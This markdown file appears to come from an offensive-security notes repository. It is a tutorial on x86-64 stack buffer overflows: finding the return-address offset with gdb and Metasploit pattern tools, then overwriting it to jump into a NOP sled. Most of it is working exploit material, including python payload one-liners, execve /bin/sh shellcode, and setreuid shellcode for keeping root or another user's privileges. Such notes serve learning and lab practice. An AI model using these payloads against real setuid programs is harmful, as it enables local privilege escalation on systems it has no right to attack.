killchain-compendium/exploit/buffer_overflow/docs/ret_address_reuse.md

5.4 KiB

Return Address reuse

via Shellcode, an examples

  • Find out the address of the start of the buffer and the start address of the return address

  • Calculate the difference between these addresses so you know how much data to enter to overflow

  • Start out by entering the shellcode in the buffer, entering random data between the shellcode and the return address, and the address of the buffer in the return address

  • Plus NOPsled (sometimes xargs is needed in front of the app call)

python -c "print('\x90' * 30 +'\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe1\x08\x48\xc1\xe9\x08\x51\x48\x8d\x3c\x24\x48\x31\xd2\xb0\x3b\x0f\x05'+ '\x41' * 60 + '\xef\xbe\xad\xde')" | xargs ./buffer-overflow

Finding Offset

via gdb segfault output

  • 64 bit addresses use 6 out of 8 byte for addresses.
gdb ./application
run $(python -c "print('\x41' * 180)")
  • Return address hit completely when 6 bytes are filled.
Program received signal SIGSEGV, Segmentation fault.
0x0000414141414141 in copy_arg ()
  • Buffer = measured_length - ($rbp + 6 bytes return address)

via metasploit

/opt/metasploit/tools/exploit/pattern_create.rb -l 180
  • Looking for rbp Content in front of the return address to measure offset
(gdb) i r
[...]
rbp             0x<rbpAddress>  0x<rbpConent>
[...]
  • Measure offset
pt/metasploit/tools/exploit/pattern_offset -l 180 -q <rbpContent>

Crafting Payload

  • Contains Junk/NOPslice + shellcode + Junk over rbp + return address
  • Inside gdb
run $(python -c "print('A' * 100 + <shellcode> + 'A' * 12 + 'B' * 6)")
  • Check actual stack
(gdb) x/100x $rsp-200
0x7fffffffe228: 0x00400450  0x00000000  0xffffe3e0  0x00007fff
0x7fffffffe238: 0x00400561  0x00000000  0xf7dce8c0  0x00007fff
0x7fffffffe248: 0xffffe64d  0x00007fff  0x41414141  0x41414141
0x7fffffffe258: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffe268: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffe278: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffe288: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffe298: 0x41414141  0x41414141  0x41414141  0x41414141
0x7fffffffe2a8: 0x41414141  0x41414141  0x41414141  0x48583b6a
0x7fffffffe2b8: 0xb849d231  0x69622f2f  0x68732f6e  0x08e8c149
[...]
  • Shellcode starts at 0x7fffffffe2b8 - 4 bytes = 0x7fffffffe2b4.

NopSled

  • Prepend nopsled instead of A and pick an address inside as the future return address, for example 0x7fffffffe2a8.
(gdb) x/100x $rsp-200
0x7fffffffe228: 0x00400450  0x00000000  0xffffe3e0  0x00007fff
0x7fffffffe238: 0x00400561  0x00000000  0xf7dce8c0  0x00007fff
0x7fffffffe248: 0xffffe64d  0x00007fff  0x90909090  0x90909090
0x7fffffffe258: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe268: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe278: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe288: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe298: 0x90909090  0x90909090  0x90909090  0x90909090
0x7fffffffe2a8: 0x90909090  0x90909090  0x90909090  0x48583b6a
0x7fffffffe2b8: 0xb849d231  0x69622f2f  0x68732f6e  0x08e8c149
  • Convert return address to little endian 0x7fffffffe2a8 -> \xa8\xe2\xff\xff\xff\x7f and put it inside the return address
run $(python -c "print('\x90'*100+'\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05'+'A'*12+'\xa8\xe2\xff\xff\xff\x7f')")

setuid() and setreuid()

  • Shellcode needs setuid(0) for effective root uid or the equivalent id of the account needed.
  • /bin/sh checks real uid not effective uid
  • ./shellcodes/setuid_shell.as

setreuid() in assembler

  • Linux Syscall Table
  • setreuid(1002,1002) sets the real uid inside the shell to 1002.
  • setreuid() has rax number \x71 (113 dec). Args are stored in rdi and rsi.
  • ./shellcode/setreuid_shell.as
"\x48\x31\xFF\x48\x31\xC0\x48\x31\xF6\x66\xBE\xEA\x03\x66\xBF\xEA\x03\xB0\x71\x0F\x05\x48\x31\xD2\x48\xBB\xFF\x2F\x62\x69\x6E\x2F\x73\x68\x48\xC1\xEB\x08\x53\x48\x89\xE7\x48\x31\xC0\x50\x57\x48\x89\xE6\xB0\x3B\x0F\x05\x6A\x01\x5F\x6A\x3C\x58\x0F\x05"
  • Convert to hex output via Defuse

setreuid() in shellcode using pwntools

  • Shellcraft builds a shellcode containing setreuid(), without any parameter given the real uid to the file owner.
* [Linux Syscall Table](https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/)
shellcraft -f d amd64.linux.setreuid
  • The uid can be set as an argument
shellcraft -f d amd64.linux.setreuid <uid> 
  • Prepend this in front of the existing shellcode like this
run $(python -c "print('\x90' * 99 + '\x6a\x6b\x58\x0f\x05\x48\x89\xc7\x6a\x71\x58\x48\x89\xfe\x0f\x05\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05' + 'B' * 8 + '\x88\xe2\xff\xff\xff\x7f')")
* Where the existing shellcode is the following
```sh
\x6a\x3b\x58\x48\x31\xd2\x49\xb8\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x49\xc1\xe8\x08\x41\x50\x48\x89\xe7\x52\x57\x48\x89\xe6\x0f\x05\x6a\x3c\x58\x48\x31\xff\x0f\x05
```
* Setreuid part is the following
```sh
\x6a\x6b\x58\x0f\x05\x48\x89\xc7\x6a\x71\x58\x48\x89\xfe\x0f\x05
```